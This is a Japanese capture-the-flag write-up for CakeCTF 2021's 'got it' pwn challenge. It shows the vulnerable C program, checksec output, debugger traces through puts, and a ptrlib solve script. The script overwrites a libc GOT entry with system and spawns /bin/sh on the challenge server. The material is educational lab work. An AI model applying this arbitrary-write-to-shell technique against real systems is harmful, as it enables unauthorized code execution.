cakectf 2021 got it chall 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include  <stdio.h>  #include  <unistd.h>  void  main ()  {  char  arg[10 ] = {0 };   unsigned  long  address = 0 , value = 0 ;   setvbuf(stdin , NULL , _IONBF, 0 );   setvbuf(stdout , NULL , _IONBF, 0 );   printf ("<main> = %p\n" , main);   printf ("<printf> = %p\n" , printf );   printf ("address: " );   scanf ("%p" , (void **)&address);   printf ("value: " );   scanf ("%p" , (void **)&value);   printf ("data: " );   scanf ("%9s" , (char *)&arg);   *(unsigned  long *)address = value;   puts (arg);   _exit(0 ); } 
 
sol 読み込みで、任意のアドレスを書き換えることができるので、putsに対してgot overwriteすればよさそう…?
1 2 3 4 5 6 7 ❯ checksec --file=chall                               [*] '/home/kanon/CTFs/CTF/pwn/got_it/distfiles/chall'      Arch:     amd64-64-little     RELRO:    Full RELRO     Stack:    No canary found     NX:       NX enabled     PIE:      PIE enabled 
 
ただ、RELROが Full RELROなので難しそうとなる。なので、putsの中を見ていく…
幾つかのcall関数があり、siで更に奥地を覗いていくと
1 2 3 4 5 6 7 8 9 0x55a7d84dd2fe  <main+325 >    call   puts @plt↓ 0x55a7d84dd0a4  <puts @plt+4 >    jmp    qword ptr [rip + 0x2f0e ]      <puts >↓ 0x7f6dbacd4be8  <puts +24 >    call   *ABS*+0xb4cb0 @plt                <*ABS*+0xb4cb0 @plt>↓ 0x7f6dbac75504  <*ABS*+0xb4cb0 @plt+4 >    jmp    qword ptr [rip + 0x1da70e ]    <__strlen_avx2>↓ 0x7fe2baff1c49  <puts +121 >    call   qword ptr [r15 + 0x38 ]        <_IO_file_xsputn>
 
より、__strlen_avx2 or _IO_file_xsputnが書き換えられそう…?と思って配布されたlibcを見るとPartial RELROでしたので、libcでのgot overwriteできそう..?
ただ、うまく動きません…
理由 現在、linuxで配布されているlibcはFull RELROなので、すべてのgotに上書きができなくなっています…(これはdockerにあるlibcも同様です)
ということはlibcを問題出された当初のものに付け替えてやれば解けそうですね
ptrlib import * 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from ptrlib import * # io = process("./chall") io = remote("nc localhost 9003") main = eval(io.recvlineafter(b"= ")) printf = eval(io.recvlineafter(b"= ")) elf = ELF("./libc-2.31.so") # elf = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6") base_puts = elf.symbol("puts") base_printf = elf.symbol("printf") base_syetem = elf.symbol("system") elf.base = printf - base_printf diff = 0x202c12 + elf.base io.sendline(p64(diff)) io.sendline(p64(elf.symbol("system"))) io.sendline("/bin/sh") io.sh()